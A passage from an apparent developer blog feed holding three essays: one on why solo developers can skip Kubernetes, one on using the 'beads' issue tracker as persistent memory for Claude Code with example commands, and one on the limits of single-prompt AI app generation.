Fine-grained resource allocation at massive scale</description><content:encoded>&lt;![CDATA[<p>I’ve spent years in the Kubernetes ecosystem. I wrote about K3s. I ran production clusters. I know my way around kubectl, Helm charts, and the CNCF landscape.</p><p>And I’m building a deployment tool that doesn’t use any of it.</p><p>Here’s why.</p><h2 id="kubernetes-solves-problems-you-dont-have"><strong>Kubernetes solves problems you don’t have</strong></h2><p>K8s is incredible engineering. It solves real problems:</p><ul><li><p>Multi-team deployments without stepping on each other</p></li><li><p>Automatic failover across dozens of nodes</p></li><li><p>Fine-grained resource allocation at massive scale</p></li><li><p>Rolling updates for services with thousands of instances</p></li></ul><p>If you’re Spotify, you need this. If you’re running a 50-person engineering org, you need this.</p><p>If you’re a solo dev with one FastAPI app and a Celery worker? You don’t.</p><p>As one dev put it: “Do you want to build a product, or do you want to build an infrastructure team? Kubernetes makes sense for the latter, but it’s often overkill for the former.”</p><p>You need:</p><ul><li><p>git push → app is live</p></li><li><p>Rollback when you break something</p></li><li><p>Logs you can actually read</p></li><li><p>Alerts when the site goes down</p></li></ul><p>That’s it. Everything else is ceremony.</p><h2 id="the-hidden-cost-isnt-the-cluster"><strong>The hidden cost isn’t the cluster</strong></h2><p>“But K3s is lightweight! You can run it on a $6 VPS!”</p><p>True. I’ve done it. Here’s what they don’t tell you:</p><p>A solo dev<a href="https://www.reddit.com/r/kubernetes/comments/1p2k9xd/solo_dev_tired_of_k8s_churn_what_are_my_options/" rel="external nofollow noopener" class="lnp-link">recently posted</a> on r/kubernetes with a title that said it all: “Solo dev tired of K8s churn&hellip; What are my options?”</p><p>His pain point wasn’t learning Kubernetes. It was the maintenance:</p><blockquote><p>“I don’t mind learning the topics and writing the config, I do mind having to deal with a lot of work out of nowhere just because the underlying tools are beyond my control and requiring breaking updates.”</p></blockquote><p>He’d been burned by Bitnami charts pulling the rug, NGINX ingress breaking changes. Things that worked stopped working — not because he changed anything, but because the ecosystem did.</p><blockquote><p>“It all felt very straightforward, and it worked so well for a bit, but it starts to crumble even when I haven’t changed anything on my side.”</p></blockquote><p>This is the hidden cost. Not the setup — the churn.</p><p><strong>The YAML tax</strong>: Every change requires editing manifests. Add an env var? YAML. Change a port? YAML. Want a cron job? That’s a whole new CronJob resource. One team had a production outage caused by an improperly indented YAML line. A single space broke prod.</p><p><strong>The debugging tax</strong>: Something’s wrong. Is it the pod? The service? The ingress? The network policy? The PVC? Hope you remember how to read<code>kubectl describe</code>.</p><p><strong>The upgrade tax</strong>: K3s made this easier, but you’re still running a distributed system. A 2024 report found over 77% of Kubernetes practitioners still have issues running their clusters — up from 66% in 2022. It’s getting harder, not easier.</p><p><strong>The cognitive tax</strong>: Part of your brain is always allocated to “how does Kubernetes work” instead of “how do I ship features.”</p><p>As one commenter put it: “Choose your churn.” There’s always something.</p><p>The Reddit OP’s conclusion? He gave up on K8s entirely. Settled on plain NixOS on a single Hetzner VPS. Accepted that 99.9% uptime from one server is good enough. Skipped the redundancy he thought he needed.</p><blockquote><p>“I am trying to write my software, I just want a reliable thing to host it with the freedom and reliability that one would expect from a system that stays out of your way.”</p></blockquote><p>That’s the real ask. A system that stays out of your way.</p><p>For teams, the Kubernetes tax is worth paying. You split it across people, you build expertise, you amortize the cost.</p><p>Solo? You pay it all yourself, every time.</p><h2 id="what-actually-works-for-solo-devs"><strong>What actually works for solo devs</strong></h2><p>So if not Kubernetes, what?</p><p>The same Reddit OP nailed the PaaS problem too:</p><blockquote><p>“These ‘managed-docker’ services charge per container/pod and force the user to over-provision. Your pod doesn’t run on 250mb RAM? Ok pay for 1GB even though you only need 500mb.”</p></blockquote><p>I’ve tried everything:</p><ul><li><p>Heroku (great until the bill hits)</p></li><li><p>Railway/Render (same story, nicer UX — $50-100/mo for what costs $5 on a VPS)</p></li><li><p>Dokku (solid, but showing its age)</p></li><li><p>Coolify (powerful, but now you’re babysitting another server)</p></li><li><p>K3s (overkill for most solo projects)</p></li><li><p>Raw Docker + nginx (works but tedious)</p></li></ul><p>The best setup I’ve found:<strong>Kamal</strong>.</p><p>It’s from 37signals. They run Basecamp and HEY on it. It’s just Docker + SSH. No cluster, no orchestrator, no YAML manifests.</p><pre><code>kamal deploy</code></pre><p>That’s it. It SSHs into your server, pulls your container, does a zero-downtime swap. Rollback is one command. Logs are one command.</p><p>It’s boring. It works.</p><h2 id="my-bet-ai-interface--dashboards--cli--yaml"><strong>My bet: AI interface &gt; dashboards &gt; CLI &gt; YAML</strong></h2><p>Here’s where it gets interesting.</p><p>Kamal solved the “deploy” problem. But ops is more than deploy:</p><ul><li><p>Why is the app slow right now?</p></li><li><p>What happened at 3am?</p></li><li><p>Should I upgrade my VM or optimize my code?</p></li><li><p>Show me the errors from the last hour</p></li></ul><p>These questions require jumping between tools. SSH into the box, grep the logs, check Grafana, cross-reference with your deploy history.</p><p>My bet: you shouldn’t need to do any of that.</p><p>You should just ask.</p><p>“Why is memory usage spiking?” → Here’s what’s using RAM, and here’s the trend over the last week.</p><p>“Roll back to yesterday’s deploy” → Done. Here’s what changed.</p><p>“Show me errors from the /api/checkout endpoint” → Found 47 errors, here’s the pattern.</p><p>This isn’t science fiction. LLMs are good at this now. The interface just doesn’t exist yet.</p><h2 id="what-im-building"><strong>What I’m building</strong></h2><p>VMKit is my attempt at this interface.</p><ul><li><p>Bring your own VPS (Hetzner, DigitalOcean, whatever)</p></li><li><p>It handles Kamal, Traefik, SSL, monitoring</p></li><li><p>The interface is conversation — web chat or MCP server in Claude Code</p></li></ul><p>No Kubernetes. No YAML manifests. No 47-screen dashboards.</p><p>Just say what you want.</p><p>I might be wrong. Maybe solo devs actually love clicking through Render’s UI. Maybe the Kubernetes complexity is worth it for everyone.</p><p>But I don’t think so. I think the right answer for one person running one to three apps is radically simpler than what we have today.</p><p><a href="https://vmkit.dev/" rel="external nofollow noopener" class="lnp-link">vmkit.dev</a> if you want to follow along.</p><h2 id="the-uncomfortable-truth"><strong>The uncomfortable truth</strong></h2><p>I’m not anti-Kubernetes. I’m anti-complexity-for-its-own-sake.</p><p>K8s is a tool. An incredibly powerful one. But tools have contexts where they make sense and contexts where they don’t.</p><p>Solo dev shipping a SaaS? You don’t need pod autoscaling. You need deploys that work and a way to debug when they don’t.</p><p>That’s the bet.</p>
]]></content:encoded></item><item><title>Why Your AI Wakes Up Every Morning With No Memory (And how to fix it)</title><link>https://lakshminp.com/2025/11/ai-agent-memory-persistence/</link><pubDate>Tue, 11 Nov 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/11/ai-agent-memory-persistence/</guid><category>essays</category><category>claude-code</category><description>I was two weeks into a gnarly refactor when it happened.
Claude and I had been pair programming on an authentication system—tracking down race conditions, filing away “fix this later” issues, building up this rich context about why we made certain decisions. RS256 instead of HS256 for key rotation. Session middleware patterns. The whole architecture was in our shared understanding.
Then I hit compaction.
I came back the next day, opened a new Claude session, and asked: “Where did we leave off?”</description><content:encoded>&lt;![CDATA[<p>I was two weeks into a gnarly refactor when it happened.</p><p>Claude and I had been pair programming on an authentication system—tracking down race conditions, filing away “fix this later” issues, building up this rich context about why we made certain decisions. RS256 instead of HS256 for key rotation. Session middleware patterns. The whole architecture was in our shared understanding.</p><p>Then I hit compaction.</p><p>I came back the next day, opened a new Claude session, and asked: “Where did we leave off?”</p><p>Claude: “I don’t have information about previous sessions in my context.”</p><p><strong>All of it. Gone.</strong></p><p>The discovered bugs. The architectural decisions. The “by the way, we should fix this” notes. Everything we’d built up over dozens of hours—evaporated.</p><p>I spent 30 minutes re-explaining what we’d been working on. And even then, I couldn’t remember all the issues Claude had surfaced. How many edge cases had we found? Which ones were critical? What was blocking what?</p><p>This is what I call the<strong>amnesia problem</strong>. And it’s not just annoying—it’s a fundamental limitation of how we work with AI agents.</p><h2 id="the"><strong>The<a href="http://todo.md/" rel="external nofollow noopener" class="lnp-link">TODO.md</a> Trap</strong></h2><p>So I did what everyone does: I created a<code>TODO.md</code> file.</p><pre><code>## TODO
- [ ] Add rate limiting to login endpoint
- [ ] Improve password hashing
- [ ] Fix email validation
- [ ] Build dashboard (depends on auth being done)</code></pre><p>Seemed reasonable. Every project has a TODO list, right?</p><p><strong>Three days later, it was already a graveyard.</strong></p><p>Half the items were done but still unchecked. A quarter were outdated. New issues Claude discovered during implementation? Lost in chat history. Dependencies? I had “(depends on auth being done)” in a parenthetical. Good luck having Claude parse that reliably after compaction.</p><p>Steve Yegge calls these “swamps of rotten half-implemented plans.” He’s right.</p><p>Here’s why markdown TODOs fail with AI agents:</p><p><strong>They become stale instantly</strong> - You finish a task, forget to update the markdown. The agent reads it, doesn’t know what’s actually done.</p><p><strong>No dependency tracking</strong> - Can I start the dashboard? Is auth done? The agent has to guess.</p><p><strong>Context evaporates</strong> - “Fix email validation” tells you nothing. Which email? Where? What’s broken? Why does it matter? After compaction, this line is worthless.</p><p><strong>Agents can’t use them reliably</strong> - Claude reads the whole list, can’t tell what’s ready to work on, and often just&hellip; ignores it.</p><p>That<a href="http://todo.md/" rel="external nofollow noopener" class="lnp-link">TODO.md</a> file? After compaction, it’s all you have. And it’s not enough.</p><h2 id="enter-beads-a-memory-system-built-for-agents"><strong>Enter Beads: A Memory System Built for Agents</strong></h2><p>That’s when I found<a href="https://github.com/steveyegge/beads" rel="external nofollow noopener" class="lnp-link">beads</a>.</p><p>Steve Yegge built it specifically to solve the amnesia problem. It’s an issue tracker, but not like Jira or Linear. It’s<strong>built for AI agents, not humans.</strong></p><p>Here’s the breakthrough:<strong>You don’t manage beads. Claude does.</strong></p><p>I ran<code>bd init</code> in my project. That’s it. One command.</p><p>Then I just&hellip; kept working with Claude. And something wild happened.</p><p>Claude started filing issues automatically. Not when I asked—just when it discovered something worth remembering. While implementing the auth system, Claude would say:</p><p>“I notice there’s a potential race condition in the session handler. Filing it:</p><p><code>bd create ‘Fix race condition in user session’ --deps discovered-from:myapp-a4f2 -p 0</code>“</p><p>It wasn’t asking permission. It wasn’t waiting for me to maintain a TODO list.<strong>It was building its own memory.</strong></p><p>At the end of each session, Claude would update the notes on active issues:</p><pre><code>bd update myapp-a4f2 --notes “COMPLETED: JWT login with RS256
KEY DECISION: Chose RS256 over HS256 for key rotation capability
IN PROGRESS: Session middleware
BLOCKERS: Need decision on token expiry (1hr vs 24hr trade-off)
NEXT: Implement refresh endpoint after expiry decision”</code></pre><p>This wasn’t for me. This was<strong>for future-Claude.</strong></p><h2 id="the-compaction-survival-test"><strong>The Compaction survival Test</strong></h2><p>The next day, I hit compaction again. New session, empty context.</p><p>Me: “What should we work on?”</p><p>Claude (without me asking, automatically ran these commands):</p><pre><code>bd ready --json
bd list --status in_progress --json
bd show myapp-a4f2</code></pre><p>Then replied:</p><p>“I can see we’re working on authentication (<code>myapp-a4f2</code>). Last session we completed the JWT login flow, decided to use RS256 for key rotation capability, and got blocked waiting for your decision on token expiry time.</p><p>The trade-off is: 1-hour tokens (better security, worse UX) vs 24-hour tokens (better UX, but wider attack window if tokens are compromised). What’s your preference?</p><p>Also, I’ve filed 3 issues we discovered along the way:</p><ul><li><p><strong>Rate limiting for login endpoint</strong> (P0)</p></li><li><p><strong>Bcrypt rounds for password hashing</strong> (P1)</p></li><li><p><strong>Race condition in session handler</strong> (P0)</p></li></ul><p>Should we resolve the token expiry question first, or tackle one of the P0 issues?”</p><p><strong>The conversation history was gone. But Claude had full context.</strong></p><p>Every decision. Every discovered bug. Every blocker. Every trade-off. Right there.</p><p>No re-explaining. No “wait, what were we doing?” No hunting through old conversations.</p><p>This is what beads does.</p><h2 id="todowrite-vs-beads-two-memory-systems"><strong>TodoWrite vs Beads: Two Memory Systems</strong></h2><p>Here’s where people get confused. Claude actually has<em>two</em> memory systems, and they serve different purposes.</p><h3 id="todowrite-working-memory-this-hour"><strong>TodoWrite: Working Memory (This Hour)</strong></h3><p>TodoWrite is Claude’s<strong>scratch pad for the current session</strong>:</p><pre><code>✓ [completed] Implement login endpoint
→ [in_progress] Add password hashing
[pending] Create session middleware</code></pre><p>It shows you real-time progress. Gets marked complete as work happens.<strong>Disappears when the session ends.</strong></p><p>Perfect for: “What’s Claude doing right now?”</p><h3 id="beads-long-term-memory-this-weekmonth"><strong>Beads: Long-Term Memory (This Week/Month)</strong></h3><p>Beads is Claude’s<strong>episodic memory across sessions</strong>:</p><pre><code>bd show myapp-a4f2
Notes: “COMPLETED: Login with bcrypt (12 rounds)
KEY DECISION: JWT (not sessions) for stateless auth
IN PROGRESS: Session middleware
NEXT: Need input on token expiry (1hr vs 24hr)”</code></pre><p>Survives compaction. Captures meaning, not just tasks.<strong>Persists across all sessions.</strong></p><p>Perfect for: “What happened last week? What decisions were made?”</p><h3 id="the-handoff-pattern"><strong>The Handoff Pattern</strong></h3><ol><li><p><strong>Session start</strong>: Claude reads bead notes → creates TodoWrite items for immediate work</p></li><li><p><strong>During work</strong>: TodoWrite gets marked complete</p></li><li><p><strong>Reach milestone</strong>: Claude updates bead notes with outcomes + context</p></li><li><p><strong>Session end</strong>: TodoWrite disappears, bead survives with enriched notes</p></li></ol><p><strong>After compaction</strong>: TodoWrite is gone forever. Bead notes reconstruct everything.</p><h2 id="the-magic-dependencies-that-prevent-mistakes"><strong>The Magic: Dependencies That Prevent Mistakes</strong></h2><p>This is where beads gets brilliant. It supports four relationship types:</p><h3 id="1-blocks---hard-blocker"><strong>1.</strong><code>blocks</code><strong>- Hard Blocker</strong></h3><pre><code>bd create “Build user dashboard” -p 1
# Created myapp-e3f7
bd create “Implement authentication” -p 0
# Created myapp-g2h9
bd dep add myapp-e3f7 myapp-g2h9
# → “myapp-g2h9 blocks myapp-e3f7”</code></pre><p>Now dashboard won’t show in<code>bd ready</code> until auth is closed. Claude<strong>can’t accidentally start building the dashboard before auth exists.</strong></p><h3 id="2-discovered-from---the-audit-trail"><strong>2.</strong><code>discovered-from</code><strong>- The Audit Trail</strong></h3><p>This is the agent’s secret weapon:</p><pre><code># Claude finds bug B while implementing feature A
bd create “Fix memory leak in session handler” \
--deps discovered-from:myapp-a4f2 -p 0</code></pre><p>Creates an audit trail of how work was found. Those “oh by the way” issues Claude mentions? They now get filed permanently, linked to context.</p><p>After a week of work, you have an<strong>automatically maintained discovery backlog</strong>. Prioritized. Linked. Ready to tackle.</p><h3 id="3-parent-child---hierarchy"><strong>3.</strong><code>parent-child</code><strong>- Hierarchy</strong></h3><pre><code>bd create “Epic: Authentication system” -t epic
# Created myapp-j4k2
bd create “Add OAuth” --parent myapp-j4k2
# Created myapp-l8m1 (auto-linked)</code></pre><p>Good for breaking down large features.</p><h3 id="4-related---soft-connection"><strong>4.</strong><code>related</code><strong>- Soft Connection</strong></h3><pre><code>bd dep add myapp-b7c3 myapp-d1e8 -t related
# “These touch the same code but don’t block each other”</code></pre><h2 id="what-you-actually-do-almost-nothing"><strong>What You Actually Do (Almost Nothing)</strong></h2><p><strong>Your workflow:</strong></p><p><strong>One-time setup:</strong></p><pre><code>cd your-project
bd init</code></pre><p>Done. That’s it.</p><p><strong>Work with Claude normally:</strong></p><p>“Let’s build user authentication”</p><p>Claude automatically:</p><ul><li><p>Creates issues as work emerges</p></li><li><p>Tracks dependencies</p></li><li><p>Updates notes at milestones</p></li><li><p>Files discovered work with proper links</p></li><li><p>Checks ready work at session start</p></li></ul><p><strong>You just work.</strong> The memory management happens in the background.</p><p><strong>When you DO interact with beads</strong> (rarely):</p><pre><code># Weekly review
bd stats
# Check what’s blocked
bd blocked
# Context restore after time away
bd show myapp-a4f2</code></pre><p>The agent does the rest.</p><h2 id="why-claude-loves-it"><strong>Why Claude Loves It</strong></h2><p>The most interesting thing about beads isn’t the technology. It’s<strong>how Claude uses it.</strong></p><p>Claude’s behavior changes:</p><p><strong>1. Proactive filing</strong>: Claude files issues without being asked. “I notice X could be improved. Filing:<code>bd create...</code>“</p><p><strong>2. Better planning</strong>: Claude uses dependencies to think through work order before starting.</p><p><strong>3. Context awareness</strong>: Claude references past decisions from bead notes. “Last session we decided to use RS256 because&hellip;”</p><p><strong>4. Discovery tracking</strong>: Claude treats discovered work as first-class, not throwaways.</p><p><strong>Why?</strong> Because beads is built for how Claude actually works:</p><ul><li><p>Structured data (JSON)</p></li><li><p>Clear state (open/in_progress/closed)</p></li><li><p>Explicit relationships (dependencies)</p></li><li><p>Queryable memory (show me what’s ready)</p></li></ul><p>It’s not forcing Claude into a human workflow. It’s giving Claude the database it naturally wants.</p><h2 id="when-beads-is-overkill"><strong>When Beads is Overkill</strong></h2><p>Not every task needs beads. Use this test:</p><h3 id="use-beads-when"><strong>Use Beads when:</strong></h3><ul><li><p>Work spans multiple sessions</p></li><li><p>You might hit compaction before finishing</p></li><li><p>There are dependencies or blockers</p></li><li><p>You’re discovering related work along the way</p></li><li><p>You need to resume after time away</p></li></ul><p><strong>Example</strong>: “Build authentication system” (multi-day, many parts)</p><h3 id="use-todowrite-when"><strong>Use TodoWrite when:</strong></h3><ul><li><p>Work completes in this session</p></li><li><p>It’s a simple linear checklist</p></li><li><p>All context is in the conversation</p></li><li><p>No dependencies or discovery</p></li></ul><p><strong>Example</strong>: “Refactor this 200-line file” (done in an hour)</p><p><strong>The test</strong>: “Will I need this context in 2 weeks?”</p><ul><li><p><strong>Yes</strong> → Beads</p></li><li><p><strong>No</strong> → TodoWrite</p></li></ul><h2 id="the-git-sync-how-it-works-across-machines"><strong>The Git Sync: How It Works Across Machines</strong></h2><p>Beads stores everything in two places:</p><ol><li><p><code>.beads/beads.db</code> - Local SQLite (fast queries)</p></li><li><p><code>.beads/issues.jsonl</code> - Git-versioned JSONL (syncs across machines)</p></li></ol><p><strong>On your desktop:</strong></p><pre><code>bd create “New issue”
# → SQLite write (instant)
# → After 5 seconds, exports to JSONL
# → Git commit with your code changes</code></pre><p><strong>On your laptop:</strong></p><pre><code>git pull
# → JSONL updates
# → bd auto-imports (newer than local DB)
# → SQLite now has the issue</code></pre><p>You get:</p><ul><li><p>Fast local operations (SQLite, &lt;100ms)</p></li><li><p>Git versioning (full audit trail)</p></li><li><p>Multi-machine sync (JSONL)</p></li><li><p>Offline support (no server)</p></li></ul><p>It’s a distributed database&hellip; that’s just files in git.</p><h2 id="memory-as-infrastructure"><strong>Memory as Infrastructure</strong></h2><p>We’re at this weird moment where AI coding agents are incredibly capable but also incredibly forgetful.</p><p>We expect them to remember complex multi-week projects, track dozens of discovered issues, maintain perfect context across compaction—but we give them&hellip; markdown files.</p><p><strong>Beads doesn’t make agents smarter. It makes them less forgetful.</strong></p><p>And honestly? That might be more important.</p><p>Because the hardest part of any project isn’t writing code. It’s<strong>not losing track of what needs to be written.</strong></p><p>Beads gives your agent:</p><ul><li><p>Memory that survives compaction</p></li><li><p>A discovery backlog that doesn’t evaporate</p></li><li><p>A dependency graph that prevents mistakes</p></li></ul><p><strong>And you barely have to do anything.</strong> Install it, initialize it, let Claude manage it.</p><p>The agent handles the rest.</p><p><strong>Get started:</strong></p><ul><li><p>GitHub:<a href="https://github.com/steveyegge/beads" rel="external nofollow noopener" class="lnp-link">steveyegge/beads</a></p></li><li><p>Quick start:<code>bd init</code> in your project</p></li><li><p>Let Claude do the rest</p></li></ul><p><strong>Key commands</strong> (mostly for reference—Claude uses these automatically):</p><pre><code>bd init # One-time setup
bd ready # What’s ready? (Claude checks this)
bd show &lt;id&gt; # Issue details (Claude reads notes)
bd stats # Weekly review (you use this)
bd blocked # What’s stuck?</code></pre><p>Give your agent a memory. See what happens.</p>
]]></content:encoded></item><item><title>I Watched AI Generate a Perfect Todo App in 3 Minutes. Then I Spent 3 Days Fixing It.</title><link>https://lakshminp.com/2025/11/ai-todo-app-3-minutes-3-days/</link><pubDate>Fri, 07 Nov 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/11/ai-todo-app-3-minutes-3-days/</guid><category>essays</category><category>ai-coding</category><description>Every AI coding tool demo starts the same way.
“Build me a todo app.”
Four words. Maybe ten seconds of typing. Then you sit back and watch the magic: files appear, databases materialize, endpoints generate themselves. The AI spins up authentication, adds a sleek frontend, writes tests. Three minutes later, you have a working application.
It’s impressive. It’s seductive. And for production software you’ll maintain for years, it’s a starting point at best—not a solution.</description><content:encoded>&lt;![CDATA[<p>Every AI coding tool demo starts the same way.</p><p>“Build me a todo app.”</p><p>Four words. Maybe ten seconds of typing. Then you sit back and watch the magic: files appear, databases materialize, endpoints generate themselves. The AI spins up authentication, adds a sleek frontend, writes tests. Three minutes later, you have a working application.</p><p>It’s impressive. It’s seductive. And for production software you’ll maintain for years, it’s a starting point at best—not a solution.</p><h2 id="the-demo-that-sells-vs-the-code-you-ship"><strong>The Demo That Sells vs. The Code You Ship</strong></h2><p>I’ve spent five months deep in AI coding tools—Claude Code, claude-flow, and everything in between. I’ve watched hundreds of demos. I’ve read the marketing. And I’ve built actual production SaaS applications.</p><p>Here’s what the demos won’t tell you: that three-minute todo app works because it makes a thousand architectural decisions you never specified. And the moment your requirements diverge from those invisible assumptions, the whole thing falls apart.</p><p>Let me show you what I mean.</p><h2 id="the-eight-decisions-that-actually-matter"><strong>The Eight Decisions That Actually Matter</strong></h2><p>When you say “build me a todo app,” you think you’re giving clear instructions. But try building real production software and you’ll immediately hit these questions:</p><p><strong>1. JWT Claims Structure</strong></p><ul><li><p>What exact fields go in your JWT payload?</p></li><li><p>Do you store roles as an array or a single string?</p></li><li><p>Where do permissions live? In the token? In the database?</p></li><li><p>Do you include user metadata or just an ID?</p></li></ul><p>The demo picks one. It might not be the one you need. And changing it later? That’s not a refactor. That’s rearchitecting your entire auth system.</p><p><strong>2. Token Rotation</strong></p><ul><li><p>15-minute access tokens with 7-day refresh tokens?</p></li><li><p>Refresh token rotation on every use?</p></li><li><p>Where do you store refresh tokens—database, Redis, or in-memory?</p></li><li><p>httpOnly cookies or localStorage?</p></li></ul><p>The demo makes a choice. You won’t know what it chose until you’re debugging your third session timeout bug in production.</p><p><strong>3. UI Library</strong></p><ul><li><p>shadcn/ui? Material-UI? Chakra? Ant Design? Headless UI?</p></li><li><p>Tailwind CSS or CSS-in-JS?</p></li><li><p>Which component patterns?</p></li></ul><p>“Use a modern UI library” means nothing. I needed shadcn/ui specifically because it works with my design system, ships minimal JavaScript, and uses Tailwind. The demo gave me Material-UI. That’s not a theme change—that’s rebuilding the entire frontend.</p><p><strong>4. Stripe Integration</strong></p><ul><li><p>Checkout flow or Payment Intents?</p></li><li><p>Subscription model or one-time payments?</p></li><li><p>Customer portal or custom UI?</p></li><li><p>Which webhooks do you handle?</p></li></ul><p>The difference isn’t cosmetic. Checkout and Payment Intents are architecturally different. Choosing wrong means rewriting your entire billing integration.</p><p><strong>5. Email Provider</strong></p><ul><li><p>SendGrid? Resend? Postmark? AWS SES?</p></li><li><p>Template system?</p></li><li><p>Transactional vs. marketing?</p></li></ul><p>Each provider has different APIs, rate limits, pricing models, and deliverability characteristics. “Add email notifications” doesn’t specify any of this.</p><p><strong>6. Database ORM</strong></p><ul><li><p>Prisma? Drizzle? TypeORM? Kysely?</p></li><li><p>Type generation approach?</p></li><li><p>Migration strategy?</p></li></ul><p>Your ORM choice affects type safety, migration workflows, query performance, and deployment strategy. It’s not swappable. It’s foundational.</p><p><strong>7. Testing Framework</strong></p><ul><li><p>Vitest? Jest? Mocha?</p></li><li><p>Supertest for integration tests?</p></li><li><p>What coverage target?</p></li></ul><p>The testing framework dictates how you structure tests, handle mocks, and integrate with CI/CD. Changing it later means rewriting every test.</p><p><strong>8. Deployment Target</strong></p><ul><li><p>Vercel? AWS? Docker compose? Railway?</p></li><li><p>What Vercel-specific features do you need?</p></li><li><p>Environment variable strategy?</p></li><li><p>Database hosting (Neon? Supabase? RDS?)?</p></li></ul><p>Deployment isn’t the last step. It shapes your entire architecture—serverless vs. long-running, filesystem access, background jobs, caching strategies.</p><h2 id="the-just-refactor-it-myth"><strong>The “Just Refactor It” Myth</strong></h2><p>When I point this out, the response is always: “Just refactor what the AI generated.”</p><p>Have you actually tried this?</p><p>Swapping Prisma for Drizzle isn’t a find-and-replace operation. It means:</p><ul><li><p>Rewriting your schema in a different DSL</p></li><li><p>Changing how you handle migrations</p></li><li><p>Updating every database query</p></li><li><p>Modifying your type generation</p></li><li><p>Adjusting your seeding scripts</p></li><li><p>Updating your testing setup</p></li></ul><p>We’re not talking about an afternoon. We’re talking about days of work. And that’s for ONE of these eight decisions.</p><p>Change the ORM, the UI library, and the auth token structure? You’re not refactoring. You’re rebuilding.</p><h2 id="what-build-me-an-app-actually-produces"><strong>What “Build Me an App” Actually Produces</strong></h2><p>Here’s the brutal truth: autonomous AI tools generate generic boilerplate that matches their training data’s most common patterns.</p><p>They give you:</p><ul><li><p>Whatever stack is most popular on GitHub</p></li><li><p>Whatever patterns appear most in tutorials</p></li><li><p>Whatever architecture is easiest to generate</p></li></ul><p>They don’t give you:</p><ul><li><p>Your company’s conventions</p></li><li><p>Your infrastructure constraints</p></li><li><p>Your team’s expertise</p></li><li><p>Your product’s specific requirements</p></li></ul><p>The demo works because demos don’t have requirements. Real projects die in the gap between “an app” and “our app.”</p><h2 id="why-this-matters-for-production-code"><strong>Why This Matters for Production Code</strong></h2><p>If you’re at a big company with a team of 20 engineers, maybe you can absorb the rebuild cost. You have engineering hours to burn. You have people to maintain legacy code while others refactor.</p><p>Most of us don’t have that luxury.</p><p>Whether you’re building solo, on a small team, or shipping client work, you’re living with every architectural decision for years. You can’t afford to spend three days ripping out Material-UI because an autonomous tool decided that’s what “modern UI library” meant. You can’t rebuild your auth system because the JWT structure doesn’t match your API contracts. You can’t rewrite billing integration because the tool guessed Checkout when you needed Payment Intents.</p><p>Wrong architectural decisions compound. When you’re responsible for maintaining the code—whether that’s yourself, a small team, or a client relationship—you need to understand and own those decisions.</p><p>That’s why production code requires control, not autonomy.</p><h2 id="the-interactive-alternative"><strong>The Interactive Alternative</strong></h2><p>Compare that to working with Claude Code:</p><p><strong>Me:</strong> “Add authentication to this project.”</p><p><strong>Claude Code:</strong> “I can help with that. A few questions:</p><ul><li><p>JWT or session-based auth?</p></li><li><p>If JWT, what should the token payload include?</p></li><li><p>Where should refresh tokens be stored?</p></li><li><p>What’s your refresh token rotation strategy?”</p></li></ul><p><strong>Me:</strong> “JWT. Payload should have userId, email, roles as an array, and permissions as a nested object. Refresh tokens in database with rotation on every use. 15-minute access, 7-day refresh. httpOnly cookies.”</p><p><strong>Claude Code:</strong> “Got it. I’ll implement that exactly.”</p><p>The specification happened through dialogue. I clarified the architectural decisions before any code was written. The AI generated exactly what I specified, not what it guessed I might want.</p><p>When the auth system is running in production six months later and I need to debug a token issue, I understand every decision because I made every decision. I’m not reverse-engineering someone else’s assumptions. I’m working with my own architecture.</p><h2 id="when-autonomy-actually-works"><strong>When Autonomy Actually Works</strong></h2><p>Autonomy isn’t wrong—it’s just context-dependent. There are places where “just handle it” is absolutely the right answer:</p><ul><li><p><strong>README generation:</strong> Standard markdown structure is fine</p></li><li><p><strong>ESLint configuration:</strong> Default configs work for most cases</p></li><li><p><strong>.gitignore files:</strong> Use the templates</p></li><li><p><strong>Boilerplate CRUD endpoints:</strong> If they follow established patterns exactly</p></li><li><p><strong>Prototypes you’ll throw away:</strong> Exploration where decisions don’t matter yet</p></li></ul><p>These are low-stakes decisions with high standardization. Getting them “wrong” doesn’t cascade. You can change them later without rebuilding your application. Single-prompt generation shines here.</p><p>But authentication? Database schema? Tech stack? These are high-stakes, foundational decisions with cascading effects. This is where precision matters and guesswork fails.</p><h2 id="the-autonomy-illusion"><strong>The Autonomy Illusion</strong></h2><p>Here’s what the AI tool marketing doesn’t tell you:</p><p>More agents doesn’t mean better code. It means less control.</p><p>Sophisticated orchestration doesn’t mean better results. It means more complexity hiding the same specification problem.</p><p>“Just describe what you want” doesn’t work when architectural decisions require precision that natural language can’t provide.</p><p>I tested claude-flow—a sophisticated multi-agent system with 10+ agent templates, health monitoring, auto-scaling, 3-tier memory, and 60+ task types. Impressive infrastructure. But it still runs on string-based specifications. When I asked for shadcn/ui, there was no type safety, no validation, no guarantee the agent would interpret “shadcn/ui” as “shadcn/ui and absolutely nothing else.”</p><p>The specification layer is still natural language. And natural language is ambiguous.</p><h2 id="the-real-question"><strong>The Real Question</strong></h2><p>The question isn’t “Can AI build an app from a single prompt?”</p><p>The answer to that is yes. Absolutely. The demos prove it.</p><p>The real question is: “Can AI build YOUR app—with YOUR architecture, YOUR conventions, YOUR constraints—from a single prompt?”</p><p>The answer to that is no.</p><p>Not because the AI isn’t capable of generating code. It’s excellent at that.</p><p>But because “build me an app” leaves a thousand architectural decisions unspecified. And every one of those decisions matters when you’re shipping production software you’ll maintain for years.</p><h2 id="what-works-instead"><strong>What Works Instead</strong></h2><p>After five months of research, building real projects, and testing multiple tools, here’s what actually works:</p><p><strong>Start with control:</strong></p><ul><li><p>Make architectural decisions consciously</p></li><li><p>Specify tech stack, libraries, patterns explicitly</p></li><li><p>Use interactive tools that let you clarify requirements</p></li><li><p>Review and understand what’s being generated</p></li></ul><p><strong>Move to autonomy for execution:</strong></p><ul><li><p>Once patterns are established, autonomous tools can replicate them</p></li><li><p>Use autonomy for boilerplate that follows decided patterns</p></li><li><p>Let AI handle repetition, not decision-making</p></li></ul><p><strong>Return to control for integration:</strong></p><ul><li><p>Debugging requires understanding</p></li><li><p>Maintenance requires ownership</p></li><li><p>Evolution requires knowing why decisions were made</p></li></ul><p>The cycle is: design with control, execute with autonomy, integrate with control.</p><p>Not: autonomous generation followed by days of “just refactor it.”</p><h2 id="the-real-power-of-ai-coding"><strong>The Real Power of AI Coding</strong></h2><p>The promise of AI coding tools isn’t “describe an app in four words and get perfect code.”</p><p>The promise is: “Make architectural decisions at the speed of thought, then have those decisions implemented 